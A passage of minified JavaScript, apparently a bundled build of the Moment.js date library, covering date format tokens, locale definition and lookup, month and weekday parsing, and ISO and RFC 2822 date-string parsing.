A=/(\[[^\[]*\])|(\\)?([Hh]mm(ss)?|Mo|MM?M?M?|Do|DDDo|DD?D?D?|ddd?d?|do?|w[o|w]?|W[o|W]?|Qo?|N{1,5}|YYYYYY|YYYYY|YYYY|YY|y{2,4}|yo?|gg(ggg?)?|GG(GGG?)?|e|E|a|A|hh?|HH?|kk?|mm?|ss?|S{1,9}|x|X|zz?|ZZ?|.)/g,F=/(\[[^\[]*\])|(\\)?(LTS|LT|LL?L?L?|l{1,4})/g,z={},N={};function I(e,t,n,r){var i=r;"string"==typeof r&&(i=function(){return this[r]()}),e&&(N[e]=i),t&&(N[t[0]]=function(){return R(i.apply(this,arguments),t[1],t[2])}),n&&(N[n]=function(){return this.localeData().ordinal(i.apply(this,arguments),e)})}function W(e){return e.match(/\[[\s\S]/)?e.replace(/^\[|\]$/g,""):e.replace(/\\/g,"")}function B(e){var t,n,r=e.match(A);for(t=0,n=r.length;t<n;t++)N[r[t]]?r[t]=N[r[t]]:r[t]=W(r[t]);return function(t){var i,s="";for(i=0;i<n;i++)s+=H(r[i])?r[i].call(t,e):r[i];return s}}function U(e,t){return e.isValid()?(t=G(t,e.localeData()),z[t]=z[t]||B(t),z[t](e)):e.localeData().invalidDate()}function G(e,t){var n=5;function r(e){return t.longDateFormat(e)||e}for(F.lastIndex=0;n>=0&&F.test(e);)e=e.replace(F,r),F.lastIndex=0,n-=1;return e}var V={LTS:"h:mm:ss A",LT:"h:mm A",L:"MM/DD/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY h:mm A",LLLL:"dddd, MMMM D, YYYY h:mm A"};function J(e){var t=this._longDateFormat[e],n=this._longDateFormat[e.toUpperCase()];return t||!n?t:(this._longDateFormat[e]=n.match(A).map((function(e){return"MMMM"===e||"MM"===e||"DD"===e||"dddd"===e?e.slice(1):e})).join(""),this._longDateFormat[e])}var q="Invalid date";function $(){return this._invalidDate}var Z="%d",K=/\d{1,2}/;function X(e){return this._ordinal.replace("%d",e)}var Q={future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",w:"a week",ww:"%d weeks",M:"a month",MM:"%d months",y:"a year",yy:"%d years"};function ee(e,t,n,r){var i=this._relativeTime[n];return H(i)?i(e,t,n,r):i.replace(/%d/i,e)}function te(e,t){var n=this._relativeTime[e>0?"future":"past"];return H(n)?n(t):n.replace(/%s/i,t)}var ne={};function re(e,t){var n=e.toLowerCase();ne[n]=ne[n+"s"]=ne[t]=e}function ie(e){return"string"==typeof e?ne[e]||ne[e.toLowerCase()]:void 0}function se(e){var t,n,r={};for(n in e)d(e,n)&&(t=ie(n))&&(r[t]=e[n]);return r}var ae={};function oe(e,t){ae[e]=t}function de(e){var t,n=[];for(t in e)d(e,t)&&n.push({unit:t,priority:ae[t]});return n.sort((function(e,t){return e.priority-t.priority})),n}function ue(e){return e%4==0&&e%100!=0||e%400==0}function le(e){return e<0?Math.ceil(e)||0:Math.floor(e)}function ce(e){var t=+e,n=0;return 0!==t&&isFinite(t)&&(n=le(t)),n}function he(e,t){return function(n){return null!=n?(pe(this,e,n),i.updateOffset(this,t),this):me(this,e)}}function me(e,t){return e.isValid()?e._d["get"+(e._isUTC?"UTC":"")+t]():NaN}function pe(e,t,n){e.isValid()&&!isNaN(n)&&("FullYear"===t&&ue(e.year())&&1===e.month()&&29===e.date()?(n=ce(n),e._d["set"+(e._isUTC?"UTC":"")+t](n,e.month(),et(n,e.month()))):e._d["set"+(e._isUTC?"UTC":"")+t](n))}function fe(e){return H(this[e=ie(e)])?this[e]():this}function _e(e,t){if("object"==typeof e){var n,r=de(e=se(e));for(n=0;n<r.length;n++)this[r[n].unit](e[r[n].unit])}else if(H(this[e=ie(e)]))return this[e](t);return this}var ye,ge=/\d/,ve=/\d\d/,Me=/\d{3}/,Le=/\d{4}/,De=/[+-]?\d{6}/,Ye=/\d\d?/,we=/\d\d\d\d?/,be=/\d\d\d\d\d\d?/,Te=/\d{1,3}/,ke=/\d{1,4}/,Se=/[+-]?\d{1,6}/,xe=/\d+/,He=/[+-]?\d+/,Ee=/Z|[+-]\d\d:?\d\d/gi,je=/Z|[+-]\d\d(?::?\d\d)?/gi,Pe=/[+-]?\d+(\.\d{1,3})?/,Ce=/[0-9]{0,256}['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFF07\uFF10-\uFFEF]{1,256}|[\u0600-\u06FF\/]{1,256}(\s*?[\u0600-\u06FF]{1,256}){1,2}/i;function Oe(e,t,n){ye[e]=H(t)?t:function(e,r){return e&&n?n:t}}function Re(e,t){return d(ye,e)?ye[e](t._strict,t._locale):new RegExp(Ae(e))}function Ae(e){return Fe(e.replace("\\","").replace(/\\(\[)|\\(\])|\[([^\]\[]*)\]|\\(.)/g,(function(e,t,n,r,i){return t||n||r||i})))}function Fe(e){return e.replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&")}ye={};var ze={};function Ne(e,t){var n,r=t;for("string"==typeof e&&(e=[e]),c(t)&&(r=function(e,n){n[t]=ce(e)}),n=0;n<e.length;n++)ze[e[n]]=r}function Ie(e,t){Ne(e,(function(e,n,r,i){r._w=r._w||{},t(e,r._w,r,i)}))}function We(e,t,n){null!=t&&d(ze,e)&&ze[e](t,n._a,n,e)}var Be,Ue=0,Ge=1,Ve=2,Je=3,qe=4,$e=5,Ze=6,Ke=7,Xe=8;function Qe(e,t){return(e%t+t)%t}function et(e,t){if(isNaN(e)||isNaN(t))return NaN;var n=Qe(t,12);return e+=(t-n)/12,1===n?ue(e)?29:28:31-n%7%2}Be=Array.prototype.indexOf?Array.prototype.indexOf:function(e){var t;for(t=0;t<this.length;++t)if(this[t]===e)return t;return-1},I("M",["MM",2],"Mo",(function(){return this.month()+1})),I("MMM",0,0,(function(e){return this.localeData().monthsShort(this,e)})),I("MMMM",0,0,(function(e){return this.localeData().months(this,e)})),re("month","M"),oe("month",8),Oe("M",Ye),Oe("MM",Ye,ve),Oe("MMM",(function(e,t){return t.monthsShortRegex(e)})),Oe("MMMM",(function(e,t){return t.monthsRegex(e)})),Ne(["M","MM"],(function(e,t){t[Ge]=ce(e)-1})),Ne(["MMM","MMMM"],(function(e,t,n,r){var i=n._locale.monthsParse(e,r,n._strict);null!=i?t[Ge]=i:y(n).invalidMonth=e}));var tt="January_February_March_April_May_June_July_August_September_October_November_December".split("_"),nt="Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),rt=/D[oD]?(\[[^\[\]]*\]|\s)+MMMM?/,it=Ce,st=Ce;function at(e,t){return e?a(this._months)?this._months[e.month()]:this._months[(this._months.isFormat||rt).test(t)?"format":"standalone"][e.month()]:a(this._months)?this._months:this._months.standalone}function ot(e,t){return e?a(this._monthsShort)?this._monthsShort[e.month()]:this._monthsShort[rt.test(t)?"format":"standalone"][e.month()]:a(this._monthsShort)?this._monthsShort:this._monthsShort.standalone}function dt(e,t,n){var r,i,s,a=e.toLocaleLowerCase();if(!this._monthsParse)for(this._monthsParse=[],this._longMonthsParse=[],this._shortMonthsParse=[],r=0;r<12;++r)s=f([2e3,r]),this._shortMonthsParse[r]=this.monthsShort(s,"").toLocaleLowerCase(),this._longMonthsParse[r]=this.months(s,"").toLocaleLowerCase();return n?"MMM"===t?-1!==(i=Be.call(this._shortMonthsParse,a))?i:null:-1!==(i=Be.call(this._longMonthsParse,a))?i:null:"MMM"===t?-1!==(i=Be.call(this._shortMonthsParse,a))||-1!==(i=Be.call(this._longMonthsParse,a))?i:null:-1!==(i=Be.call(this._longMonthsParse,a))||-1!==(i=Be.call(this._shortMonthsParse,a))?i:null}function ut(e,t,n){var r,i,s;if(this._monthsParseExact)return dt.call(this,e,t,n);for(this._monthsParse||(this._monthsParse=[],this._longMonthsParse=[],this._shortMonthsParse=[]),r=0;r<12;r++){if(i=f([2e3,r]),n&&!this._longMonthsParse[r]&&(this._longMonthsParse[r]=new RegExp("^"+this.months(i,"").replace(".","")+"$","i"),this._shortMonthsParse[r]=new RegExp("^"+this.monthsShort(i,"").replace(".","")+"$","i")),n||this._monthsParse[r]||(s="^"+this.months(i,"")+"|^"+this.monthsShort(i,""),this._monthsParse[r]=new RegExp(s.replace(".",""),"i")),n&&"MMMM"===t&&this._longMonthsParse[r].test(e))return r;if(n&&"MMM"===t&&this._shortMonthsParse[r].test(e))return r;if(!n&&this._monthsParse[r].test(e))return r}}function lt(e,t){var n;if(!e.isValid())return e;if("string"==typeof t)if(/^\d+$/.test(t))t=ce(t);else if(!c(t=e.localeData().monthsParse(t)))return e;return n=Math.min(e.date(),et(e.year(),t)),e._d["set"+(e._isUTC?"UTC":"")+"Month"](t,n),e}function ct(e){return null!=e?(lt(this,e),i.updateOffset(this,!0),this):me(this,"Month")}function ht(){return et(this.year(),this.month())}function mt(e){return this._monthsParseExact?(d(this,"_monthsRegex")||ft.call(this),e?this._monthsShortStrictRegex:this._monthsShortRegex):(d(this,"_monthsShortRegex")||(this._monthsShortRegex=it),this._monthsShortStrictRegex&&e?this._monthsShortStrictRegex:this._monthsShortRegex)}function pt(e){return this._monthsParseExact?(d(this,"_monthsRegex")||ft.call(this),e?this._monthsStrictRegex:this._monthsRegex):(d(this,"_monthsRegex")||(this._monthsRegex=st),this._monthsStrictRegex&&e?this._monthsStrictRegex:this._monthsRegex)}function ft(){function e(e,t){return t.length-e.length}var t,n,r=[],i=[],s=[];for(t=0;t<12;t++)n=f([2e3,t]),r.push(this.monthsShort(n,"")),i.push(this.months(n,"")),s.push(this.months(n,"")),s.push(this.monthsShort(n,""));for(r.sort(e),i.sort(e),s.sort(e),t=0;t<12;t++)r[t]=Fe(r[t]),i[t]=Fe(i[t]);for(t=0;t<24;t++)s[t]=Fe(s[t]);this._monthsRegex=new RegExp("^("+s.join("|")+")","i"),this._monthsShortRegex=this._monthsRegex,this._monthsStrictRegex=new RegExp("^("+i.join("|")+")","i"),this._monthsShortStrictRegex=new RegExp("^("+r.join("|")+")","i")}function _t(e){return ue(e)?366:365}I("Y",0,0,(function(){var e=this.year();return e<=9999?R(e,4):"+"+e})),I(0,["YY",2],0,(function(){return this.year()%100})),I(0,["YYYY",4],0,"year"),I(0,["YYYYY",5],0,"year"),I(0,["YYYYYY",6,!0],0,"year"),re("year","y"),oe("year",1),Oe("Y",He),Oe("YY",Ye,ve),Oe("YYYY",ke,Le),Oe("YYYYY",Se,De),Oe("YYYYYY",Se,De),Ne(["YYYYY","YYYYYY"],Ue),Ne("YYYY",(function(e,t){t[Ue]=2===e.length?i.parseTwoDigitYear(e):ce(e)})),Ne("YY",(function(e,t){t[Ue]=i.parseTwoDigitYear(e)})),Ne("Y",(function(e,t){t[Ue]=parseInt(e,10)})),i.parseTwoDigitYear=function(e){return ce(e)+(ce(e)>68?1900:2e3)};var yt=he("FullYear",!0);function gt(){return ue(this.year())}function vt(e,t,n,r,i,s,a){var o;return e<100&&e>=0?(o=new Date(e+400,t,n,r,i,s,a),isFinite(o.getFullYear())&&o.setFullYear(e)):o=new Date(e,t,n,r,i,s,a),o}function Mt(e){var t,n;return e<100&&e>=0?((n=Array.prototype.slice.call(arguments))[0]=e+400,t=new Date(Date.UTC.apply(null,n)),isFinite(t.getUTCFullYear())&&t.setUTCFullYear(e)):t=new Date(Date.UTC.apply(null,arguments)),t}function Lt(e,t,n){var r=7+t-n;return-(7+Mt(e,0,r).getUTCDay()-t)%7+r-1}function Dt(e,t,n,r,i){var s,a,o=1+7*(t-1)+(7+n-r)%7+Lt(e,r,i);return o<=0?a=_t(s=e-1)+o:o>_t(e)?(s=e+1,a=o-_t(e)):(s=e,a=o),{year:s,dayOfYear:a}}function Yt(e,t,n){var r,i,s=Lt(e.year(),t,n),a=Math.floor((e.dayOfYear()-s-1)/7)+1;return a<1?r=a+wt(i=e.year()-1,t,n):a>wt(e.year(),t,n)?(r=a-wt(e.year(),t,n),i=e.year()+1):(i=e.year(),r=a),{week:r,year:i}}function wt(e,t,n){var r=Lt(e,t,n),i=Lt(e+1,t,n);return(_t(e)-r+i)/7}function bt(e){return Yt(e,this._week.dow,this._week.doy).week}I("w",["ww",2],"wo","week"),I("W",["WW",2],"Wo","isoWeek"),re("week","w"),re("isoWeek","W"),oe("week",5),oe("isoWeek",5),Oe("w",Ye),Oe("ww",Ye,ve),Oe("W",Ye),Oe("WW",Ye,ve),Ie(["w","ww","W","WW"],(function(e,t,n,r){t[r.substr(0,1)]=ce(e)}));var Tt={dow:0,doy:6};function kt(){return this._week.dow}function St(){return this._week.doy}function xt(e){var t=this.localeData().week(this);return null==e?t:this.add(7*(e-t),"d")}function Ht(e){var t=Yt(this,1,4).week;return null==e?t:this.add(7*(e-t),"d")}function Et(e,t){return"string"!=typeof e?e:isNaN(e)?"number"==typeof(e=t.weekdaysParse(e))?e:null:parseInt(e,10)}function jt(e,t){return"string"==typeof e?t.weekdaysParse(e)%7||7:isNaN(e)?null:e}function Pt(e,t){return e.slice(t,7).concat(e.slice(0,t))}I("d",0,"do","day"),I("dd",0,0,(function(e){return this.localeData().weekdaysMin(this,e)})),I("ddd",0,0,(function(e){return this.localeData().weekdaysShort(this,e)})),I("dddd",0,0,(function(e){return this.localeData().weekdays(this,e)})),I("e",0,0,"weekday"),I("E",0,0,"isoWeekday"),re("day","d"),re("weekday","e"),re("isoWeekday","E"),oe("day",11),oe("weekday",11),oe("isoWeekday",11),Oe("d",Ye),Oe("e",Ye),Oe("E",Ye),Oe("dd",(function(e,t){return t.weekdaysMinRegex(e)})),Oe("ddd",(function(e,t){return t.weekdaysShortRegex(e)})),Oe("dddd",(function(e,t){return t.weekdaysRegex(e)})),Ie(["dd","ddd","dddd"],(function(e,t,n,r){var i=n._locale.weekdaysParse(e,r,n._strict);null!=i?t.d=i:y(n).invalidWeekday=e})),Ie(["d","e","E"],(function(e,t,n,r){t[r]=ce(e)}));var Ct="Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),Ot="Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),Rt="Su_Mo_Tu_We_Th_Fr_Sa".split("_"),At=Ce,Ft=Ce,zt=Ce;function Nt(e,t){var n=a(this._weekdays)?this._weekdays:this._weekdays[e&&!0!==e&&this._weekdays.isFormat.test(t)?"format":"standalone"];return!0===e?Pt(n,this._week.dow):e?n[e.day()]:n}function It(e){return!0===e?Pt(this._weekdaysShort,this._week.dow):e?this._weekdaysShort[e.day()]:this._weekdaysShort}function Wt(e){return!0===e?Pt(this._weekdaysMin,this._week.dow):e?this._weekdaysMin[e.day()]:this._weekdaysMin}function Bt(e,t,n){var r,i,s,a=e.toLocaleLowerCase();if(!this._weekdaysParse)for(this._weekdaysParse=[],this._shortWeekdaysParse=[],this._minWeekdaysParse=[],r=0;r<7;++r)s=f([2e3,1]).day(r),this._minWeekdaysParse[r]=this.weekdaysMin(s,"").toLocaleLowerCase(),this._shortWeekdaysParse[r]=this.weekdaysShort(s,"").toLocaleLowerCase(),this._weekdaysParse[r]=this.weekdays(s,"").toLocaleLowerCase();return n?"dddd"===t?-1!==(i=Be.call(this._weekdaysParse,a))?i:null:"ddd"===t?-1!==(i=Be.call(this._shortWeekdaysParse,a))?i:null:-1!==(i=Be.call(this._minWeekdaysParse,a))?i:null:"dddd"===t?-1!==(i=Be.call(this._weekdaysParse,a))||-1!==(i=Be.call(this._shortWeekdaysParse,a))||-1!==(i=Be.call(this._minWeekdaysParse,a))?i:null:"ddd"===t?-1!==(i=Be.call(this._shortWeekdaysParse,a))||-1!==(i=Be.call(this._weekdaysParse,a))||-1!==(i=Be.call(this._minWeekdaysParse,a))?i:null:-1!==(i=Be.call(this._minWeekdaysParse,a))||-1!==(i=Be.call(this._weekdaysParse,a))||-1!==(i=Be.call(this._shortWeekdaysParse,a))?i:null}function Ut(e,t,n){var r,i,s;if(this._weekdaysParseExact)return Bt.call(this,e,t,n);for(this._weekdaysParse||(this._weekdaysParse=[],this._minWeekdaysParse=[],this._shortWeekdaysParse=[],this._fullWeekdaysParse=[]),r=0;r<7;r++){if(i=f([2e3,1]).day(r),n&&!this._fullWeekdaysParse[r]&&(this._fullWeekdaysParse[r]=new RegExp("^"+this.weekdays(i,"").replace(".","\\.?")+"$","i"),this._shortWeekdaysParse[r]=new RegExp("^"+this.weekdaysShort(i,"").replace(".","\\.?")+"$","i"),this._minWeekdaysParse[r]=new RegExp("^"+this.weekdaysMin(i,"").replace(".","\\.?")+"$","i")),this._weekdaysParse[r]||(s="^"+this.weekdays(i,"")+"|^"+this.weekdaysShort(i,"")+"|^"+this.weekdaysMin(i,""),this._weekdaysParse[r]=new RegExp(s.replace(".",""),"i")),n&&"dddd"===t&&this._fullWeekdaysParse[r].test(e))return r;if(n&&"ddd"===t&&this._shortWeekdaysParse[r].test(e))return r;if(n&&"dd"===t&&this._minWeekdaysParse[r].test(e))return r;if(!n&&this._weekdaysParse[r].test(e))return r}}function Gt(e){if(!this.isValid())return null!=e?this:NaN;var t=this._isUTC?this._d.getUTCDay():this._d.getDay();return null!=e?(e=Et(e,this.localeData()),this.add(e-t,"d")):t}function Vt(e){if(!this.isValid())return null!=e?this:NaN;var t=(this.day()+7-this.localeData()._week.dow)%7;return null==e?t:this.add(e-t,"d")}function Jt(e){if(!this.isValid())return null!=e?this:NaN;if(null!=e){var t=jt(e,this.localeData());return this.day(this.day()%7?t:t-7)}return this.day()||7}function qt(e){return this._weekdaysParseExact?(d(this,"_weekdaysRegex")||Kt.call(this),e?this._weekdaysStrictRegex:this._weekdaysRegex):(d(this,"_weekdaysRegex")||(this._weekdaysRegex=At),this._weekdaysStrictRegex&&e?this._weekdaysStrictRegex:this._weekdaysRegex)}function $t(e){return this._weekdaysParseExact?(d(this,"_weekdaysRegex")||Kt.call(this),e?this._weekdaysShortStrictRegex:this._weekdaysShortRegex):(d(this,"_weekdaysShortRegex")||(this._weekdaysShortRegex=Ft),this._weekdaysShortStrictRegex&&e?this._weekdaysShortStrictRegex:this._weekdaysShortRegex)}function Zt(e){return this._weekdaysParseExact?(d(this,"_weekdaysRegex")||Kt.call(this),e?this._weekdaysMinStrictRegex:this._weekdaysMinRegex):(d(this,"_weekdaysMinRegex")||(this._weekdaysMinRegex=zt),this._weekdaysMinStrictRegex&&e?this._weekdaysMinStrictRegex:this._weekdaysMinRegex)}function Kt(){function e(e,t){return t.length-e.length}var t,n,r,i,s,a=[],o=[],d=[],u=[];for(t=0;t<7;t++)n=f([2e3,1]).day(t),r=Fe(this.weekdaysMin(n,"")),i=Fe(this.weekdaysShort(n,"")),s=Fe(this.weekdays(n,"")),a.push(r),o.push(i),d.push(s),u.push(r),u.push(i),u.push(s);a.sort(e),o.sort(e),d.sort(e),u.sort(e),this._weekdaysRegex=new RegExp("^("+u.join("|")+")","i"),this._weekdaysShortRegex=this._weekdaysRegex,this._weekdaysMinRegex=this._weekdaysRegex,this._weekdaysStrictRegex=new RegExp("^("+d.join("|")+")","i"),this._weekdaysShortStrictRegex=new RegExp("^("+o.join("|")+")","i"),this._weekdaysMinStrictRegex=new RegExp("^("+a.join("|")+")","i")}function Xt(){return this.hours()%12||12}function Qt(){return this.hours()||24}function en(e,t){I(e,0,0,(function(){return this.localeData().meridiem(this.hours(),this.minutes(),t)}))}function tn(e,t){return t._meridiemParse}function nn(e){return"p"===(e+"").toLowerCase().charAt(0)}I("H",["HH",2],0,"hour"),I("h",["hh",2],0,Xt),I("k",["kk",2],0,Qt),I("hmm",0,0,(function(){return""+Xt.apply(this)+R(this.minutes(),2)})),I("hmmss",0,0,(function(){return""+Xt.apply(this)+R(this.minutes(),2)+R(this.seconds(),2)})),I("Hmm",0,0,(function(){return""+this.hours()+R(this.minutes(),2)})),I("Hmmss",0,0,(function(){return""+this.hours()+R(this.minutes(),2)+R(this.seconds(),2)})),en("a",!0),en("A",!1),re("hour","h"),oe("hour",13),Oe("a",tn),Oe("A",tn),Oe("H",Ye),Oe("h",Ye),Oe("k",Ye),Oe("HH",Ye,ve),Oe("hh",Ye,ve),Oe("kk",Ye,ve),Oe("hmm",we),Oe("hmmss",be),Oe("Hmm",we),Oe("Hmmss",be),Ne(["H","HH"],Je),Ne(["k","kk"],(function(e,t,n){var r=ce(e);t[Je]=24===r?0:r})),Ne(["a","A"],(function(e,t,n){n._isPm=n._locale.isPM(e),n._meridiem=e})),Ne(["h","hh"],(function(e,t,n){t[Je]=ce(e),y(n).bigHour=!0})),Ne("hmm",(function(e,t,n){var r=e.length-2;t[Je]=ce(e.substr(0,r)),t[qe]=ce(e.substr(r)),y(n).bigHour=!0})),Ne("hmmss",(function(e,t,n){var r=e.length-4,i=e.length-2;t[Je]=ce(e.substr(0,r)),t[qe]=ce(e.substr(r,2)),t[$e]=ce(e.substr(i)),y(n).bigHour=!0})),Ne("Hmm",(function(e,t,n){var r=e.length-2;t[Je]=ce(e.substr(0,r)),t[qe]=ce(e.substr(r))})),Ne("Hmmss",(function(e,t,n){var r=e.length-4,i=e.length-2;t[Je]=ce(e.substr(0,r)),t[qe]=ce(e.substr(r,2)),t[$e]=ce(e.substr(i))}));var rn=/[ap]\.?m?\.?/i,sn=he("Hours",!0);function an(e,t,n){return e>11?n?"pm":"PM":n?"am":"AM"}var on,dn={calendar:C,longDateFormat:V,invalidDate:q,ordinal:Z,dayOfMonthOrdinalParse:K,relativeTime:Q,months:tt,monthsShort:nt,week:Tt,weekdays:Ct,weekdaysMin:Rt,weekdaysShort:Ot,meridiemParse:rn},un={},ln={};function cn(e,t){var n,r=Math.min(e.length,t.length);for(n=0;n<r;n+=1)if(e[n]!==t[n])return n;return r}function hn(e){return e?e.toLowerCase().replace("_","-"):e}function mn(e){for(var t,n,r,i,s=0;s<e.length;){for(t=(i=hn(e[s]).split("-")).length,n=(n=hn(e[s+1]))?n.split("-"):null;t>0;){if(r=pn(i.slice(0,t).join("-")))return r;if(n&&n.length>=t&&cn(i,n)>=t-1)break;t--}s++}return on}function pn(t){var r=null;if(void 0===un[t]&&e&&e.exports)try{r=on._abbr,n(6700)("./"+t),fn(r)}catch(e){un[t]=null}return un[t]}function fn(e,t){var n;return e&&((n=l(t)?gn(e):_n(e,t))?on=n:"undefined"!=typeof console&&console.warn&&console.warn("Locale "+e+" not found. Did you forget to load it?")),on._abbr}function _n(e,t){if(null!==t){var n,r=dn;if(t.abbr=e,null!=un[e])x("defineLocaleOverride","use moment.updateLocale(localeName, config) to change an existing locale. moment.defineLocale(localeName, config) should only be used for creating a new locale See http://momentjs.com/guides/#/warnings/define-locale/ for more info."),r=un[e]._config;else if(null!=t.parentLocale)if(null!=un[t.parentLocale])r=un[t.parentLocale]._config;else{if(null==(n=pn(t.parentLocale)))return ln[t.parentLocale]||(ln[t.parentLocale]=[]),ln[t.parentLocale].push({name:e,config:t}),null;r=n._config}return un[e]=new P(j(r,t)),ln[e]&&ln[e].forEach((function(e){_n(e.name,e.config)})),fn(e),un[e]}return delete un[e],null}function yn(e,t){if(null!=t){var n,r,i=dn;null!=un[e]&&null!=un[e].parentLocale?un[e].set(j(un[e]._config,t)):(null!=(r=pn(e))&&(i=r._config),t=j(i,t),null==r&&(t.abbr=e),(n=new P(t)).parentLocale=un[e],un[e]=n),fn(e)}else null!=un[e]&&(null!=un[e].parentLocale?(un[e]=un[e].parentLocale,e===fn()&&fn(e)):null!=un[e]&&delete un[e]);return un[e]}function gn(e){var t;if(e&&e._locale&&e._locale._abbr&&(e=e._locale._abbr),!e)return on;if(!a(e)){if(t=pn(e))return t;e=[e]}return mn(e)}function vn(){return k(un)}function Mn(e){var t,n=e._a;return n&&-2===y(e).overflow&&(t=n[Ge]<0||n[Ge]>11?Ge:n[Ve]<1||n[Ve]>et(n[Ue],n[Ge])?Ve:n[Je]<0||n[Je]>24||24===n[Je]&&(0!==n[qe]||0!==n[$e]||0!==n[Ze])?Je:n[qe]<0||n[qe]>59?qe:n[$e]<0||n[$e]>59?$e:n[Ze]<0||n[Ze]>999?Ze:-1,y(e)._overflowDayOfYear&&(t<Ue||t>Ve)&&(t=Ve),y(e)._overflowWeeks&&-1===t&&(t=Ke),y(e)._overflowWeekday&&-1===t&&(t=Xe),y(e).overflow=t),e}var Ln=/^\s*((?:[+-]\d{6}|\d{4})-(?:\d\d-\d\d|W\d\d-\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?::\d\d(?::\d\d(?:[.,]\d+)?)?)?)([+-]\d\d(?::?\d\d)?|\s*Z)?)?$/,Dn=/^\s*((?:[+-]\d{6}|\d{4})(?:\d\d\d\d|W\d\d\d|W\d\d|\d\d\d|\d\d|))(?:(T| )(\d\d(?:\d\d(?:\d\d(?:[.,]\d+)?)?)?)([+-]\d\d(?::?\d\d)?|\s*Z)?)?$/,Yn=/Z|[+-]\d\d(?::?\d\d)?/,wn=[["YYYYYY-MM-DD",/[+-]\d{6}-\d\d-\d\d/],["YYYY-MM-DD",/\d{4}-\d\d-\d\d/],["GGGG-[W]WW-E",/\d{4}-W\d\d-\d/],["GGGG-[W]WW",/\d{4}-W\d\d/,!1],["YYYY-DDD",/\d{4}-\d{3}/],["YYYY-MM",/\d{4}-\d\d/,!1],["YYYYYYMMDD",/[+-]\d{10}/],["YYYYMMDD",/\d{8}/],["GGGG[W]WWE",/\d{4}W\d{3}/],["GGGG[W]WW",/\d{4}W\d{2}/,!1],["YYYYDDD",/\d{7}/],["YYYYMM",/\d{6}/,!1],["YYYY",/\d{4}/,!1]],bn=[["HH:mm:ss.SSSS",/\d\d:\d\d:\d\d\.\d+/],["HH:mm:ss,SSSS",/\d\d:\d\d:\d\d,\d+/],["HH:mm:ss",/\d\d:\d\d:\d\d/],["HH:mm",/\d\d:\d\d/],["HHmmss.SSSS",/\d\d\d\d\d\d\.\d+/],["HHmmss,SSSS",/\d\d\d\d\d\d,\d+/],["HHmmss",/\d\d\d\d\d\d/],["HHmm",/\d\d\d\d/],["HH",/\d\d/]],Tn=/^\/?Date\((-?\d+)/i,kn=/^(?:(Mon|Tue|Wed|Thu|Fri|Sat|Sun),?\s)?(\d{1,2})\s(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s(\d{2,4})\s(\d\d):(\d\d)(?::(\d\d))?\s(?:(UT|GMT|[ECMP][SD]T)|([Zz])|([+-]\d{4}))$/,Sn={UT:0,GMT:0,EDT:-240,EST:-300,CDT:-300,CST:-360,MDT:-360,MST:-420,PDT:-420,PST:-480};function xn(e){var t,n,r,i,s,a,o=e._i,d=Ln.exec(o)||Dn.exec(o);if(d){for(y(e).iso=!0,t=0,n=wn.length;t<n;t++)if(wn[t][1].exec(d[1])){i=wn[t][0],r=!1!==wn[t][2];break}if(null==i)return void(e._isValid=!1);if(d[3]){for(t=0,n=bn.length;t<n;t++)if(bn[t][1].exec(d[3])){s=(d[2]||" ")+bn[t][0];break}if(null==s)return void(e._isValid=!1)}if(!r&&null!=s)return void(e._isValid=!1);if(d[4]){if(!Yn.exec(d[4]))return void(e._isValid=!1);a="Z"}e._f=i+(s||"")+(a||""),In(e)}else e._isValid=!1}function Hn(e,t,n,r,i,s){var a=[En(e),nt.indexOf(t),parseInt(n,10),parseInt(r,10),parseInt(i,10)];return s&&a.push(parseInt(s,10)),a}function En(e){var t=parseInt(e,10);return t<=49?2e3+t:t<=999?1900+t:t}function jn(e){return e.replace(/\([^)]*\)|[\n\t]/g," ").replace(/(\s\s+)/g," ").replace(/^\s\s*/,"").replace(/\s\s*$/,"")}function Pn(e,t,n){return!e||Ot.indexOf(e)===new Date(t[0],t[1],t[2]).getDay()||(y(n).weekdayMismatch=!0,n._isValid=!1,!1)}function Cn(e,t,n){if(e)return Sn[e];if(t)return 0;var r=parseInt(n,10),i=r%100;return(r-i)/100*60+i}function On(e){var t,n=kn.exec(jn(e._i));if(n){if(t=Hn(n[4],n[3],n[2],n[5],n[6],n[7]),!Pn(n[1],t,e))return;e._a=t,e._tzm=Cn(n[8],n[9],n[10]),e._d=Mt.apply(null,e._a),e._d.setUTCMinutes(e._d.getUTCMinutes()-e._tzm),y(e).rfc2822=!0}else e._isValid=!1}function Rn(e){var t=Tn.exec(e._i);null===t?(xn(e),!1===e._isValid&&(delete e._isValid,On(e),!1===e._isValid&&(delete e._isValid,e._strict?e._isValid=!1:i.createFromInputFallback(e)))):e._d=new Date(+t[1])}function An(e,t,n){return null!=e?e:null!=t?t:n}function Fn(e){var t=new Date(i.now());return e._useUTC?[t.getUTCFullYear(),t.getUTCMonth(),t.getUTCDate()]:[t.getFullYear(),t.getMonth(),t.getDate()]}function zn(e){var t,n,r,i,s,a=[];if(!e._d){for(r=Fn(e),e._w&&null==e._a[Ve]&&null==e._a[Ge]&&Nn(e),null!=e._dayOfYear&&(s=An(e._a[Ue],r[Ue]),(e._dayOfYear>_t(s)||0===e._dayOfYear)&&(y(e)._overflowDayOfYear=!0),n=Mt(s,0,e._dayOfYear),e._a[Ge]=n.getUTCMonth(),e._a[Ve]=n.getUTCDate()),t=0;t<3&&null==e._a[t];++t)e._a[t]=a[t]=r[t];for(;t<7;t++)e._a[t]=a[t]=null==e._a[t]?2===t?1:0:e._a[t];24===e._a[Je]&&0===e._a[qe]&&0===e._a[$e]&&0===e._a[Ze]&&(e._nextDay=!0,e._a[Je]=0),e._d=(e._useUTC?Mt:vt).apply(null,a),i=e._useUTC?e._d.getUTCDay():e._d.getDay(),null!=e._tzm&&e._d.setUTCMinutes(e._d.getUTCMinutes()-e._tzm),e._nextDay&&(e._a[Je]=24),e._w&&void 0!==e._w.d&&e._w.d!==i&&(y(e).weekdayMismatch=!0)}}function Nn(e){var 